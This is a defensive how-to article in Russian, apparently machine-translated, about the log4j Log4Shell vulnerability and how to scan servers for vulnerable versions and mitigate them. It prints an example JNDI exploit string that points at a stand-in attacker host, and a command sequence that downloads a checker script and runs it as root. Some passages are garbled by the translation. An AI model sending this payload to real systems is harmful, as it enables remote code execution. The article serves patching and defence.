Поиск по сайту:

Как проверить, уязвим ли ваш сервер для эксплойта log4j Java (Log4Shell)


Обнаружен критический эксплойт в широко распространенной библиотеке Java, нарушающий большую часть Интернета, поскольку администраторы серверов пытаются его исправить. Уязвимый компонент, log4j, повсеместно используется как включенная библиотека, поэтому вам нужно будет проверить свои серверы и убедиться, что они обновлены.

Как работает этот эксплойт?

Что касается эксплойтов, то уязвимость log4j  является одной из худших за последние несколько лет, получив редкую оценку 10 / 10 по шкале CVSS. годы вперед.

Что еще хуже, log4j – это не приложение, а библиотека с открытым исходным кодом, используемая многими другими приложениями. Возможно, вы не установили его напрямую; он может быть включен в другие файлы .jar или установлен другими приложениями в качестве зависимости.

По сути, это позволяет злоумышленникам отправлять текст в ваше приложение, и если оно где-то регистрирует его (например, регистрирует строку агента, контролируемого пользователем, на веб-сервере), ваш сервер выполняет вредоносный код. Формат текста выглядит следующим образом: предельно простая строка, содержащая ссылку на удаленный адрес.

${jndi:ldap://attacker.com/a}

Уязвимый компонент в log4j – интерфейс именования и каталогов Java, который позволяет платформе ведения журналов выполнять удаленные запросы. За исключением того, что он также десериализует файл в этой конечной точке и может загружать файлы .class, содержащие удаленный код. Что плохо.

Я уязвим?

Эксплойт был быстро исправлен в последнем выпуске log4j, 2.16.0, но проблема не в том, чтобы его исправить, а в том, чтобы найти, где это нужно. Поскольку log4j является встроенной зависимостью, поиск конкретной версии в вашей системе может оказаться нетривиальным. А поскольку Java очень популярна, ее могут использовать многие сторонние инструменты и компоненты, поэтому вы можете даже не знать, используете ли вы программное обеспечение Java на своих компьютерах.

Даже если вы считаете, что не уязвимы, вам, вероятно, все равно нужно перепроверить. Этот эксплойт затрагивает так много систем, что есть большая вероятность, что вы используете log4j или Java, не осознавая этого.

К счастью, версии JDK выше 6u2117u2018u191 и 11.0.1 не подвержены влиянию основного вектор атаки (с использованием LDAP), который сейчас используется чаще всего. Вам все равно нужно исправить его, так как его можно легко использовать и с другими векторами атаки. Кроме того, простое выполнение запроса к конечной точке может раскрыть данные о машинах в вашей сети, что тоже не очень хорошо.

Этот эксплойт подчеркивает, почему важно вести спецификацию программного обеспечения (SBOM), по сути, список всего программного обеспечения в ваших системах, откуда оно взято и из чего оно сделано. В будущем эти знания помогут вам быстро исправить подобные атаки.

В настоящее время вы, вероятно, просто обеспокоены исправлением вашей сети. Для этого вам необходимо просканировать свои системы, чтобы найти версии log4j, используемые вашим программным обеспечением, и составить список всех уязвимых компонентов.

Как сканировать вашу систему и проверять версии log4j

Многие люди уже создали сценарии для автоматического сканирования систем на наличие уязвимых установок, например, этот популярный сценарий, написанный на Python, и этот от охранной фирмы LunaSec. Одним из самых простых в использовании является этот простой скрипт bash, который может сканировать ваши пакеты и определять версии log4j , а также может сообщить вам, использует ли ваша система вообще Java. В большинстве случаев вам потребуется запустить несколько сканирований с разными сценариями, потому что нет гарантии, что любой из них будет на 100% эффективен при выявлении каждой уязвимой системы.

Вы можете скачать его и запустить с помощью нескольких команд. Это нужно запускать от имени root для сканирования всей вашей системы, поэтому, конечно, будьте осторожны, какие сценарии вы запускаете с привилегиями root из Интернета. Это тоже выполнение произвольного кода.

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q

chmod +x log4j_checker_beta.sh

sudo ./log4j_checker_beta.sh

Результаты этого скрипта показывают, что именно делает эту log4j уязвимость такой ужасной: запуск этого на моем личном сервере показал, что я уязвим для эксплойта через несколько дней после нулевого дня, несмотря на то, что думал, что у меня его нет. На этой машине установлена Java, потому что я не использую какое-либо собственное программное обеспечение Java.

Elasticsearch работает в фоновом режиме на этой машине, написанной на Java. Мне не нужно было устанавливать Java вручную, чтобы установить Elasticsearch; он включает пакетную версию OpenJDK. Он включает log4j в эту установку и уязвим для эксплойта.

Исправление, по крайней мере, для Elasticsearch, заключается в обновлении всех пакетов и соблюдении их руководств по смягчению последствий. Это, вероятно, будет иметь место для любого программного обеспечения, которое вы используете; вам нужно будет обновить log4j напрямую, обновить прилагаемое к нему программное обеспечение или исправить его с помощью любых передовых практик, которые используют другие люди.

Если по какой-то причине вы не можете исправить банку, вы можете использовать этот флаг JVM, чтобы смягчить проблему, который просто сообщает log4j никогда не выполнять поиск при форматировании сообщений. Однако это не рекомендуется, и вам следует попытаться установить log4j 2.16.0 везде, где это возможно, чтобы полностью решить проблему.

-Dlog4j2.formatMsgNoLookups=true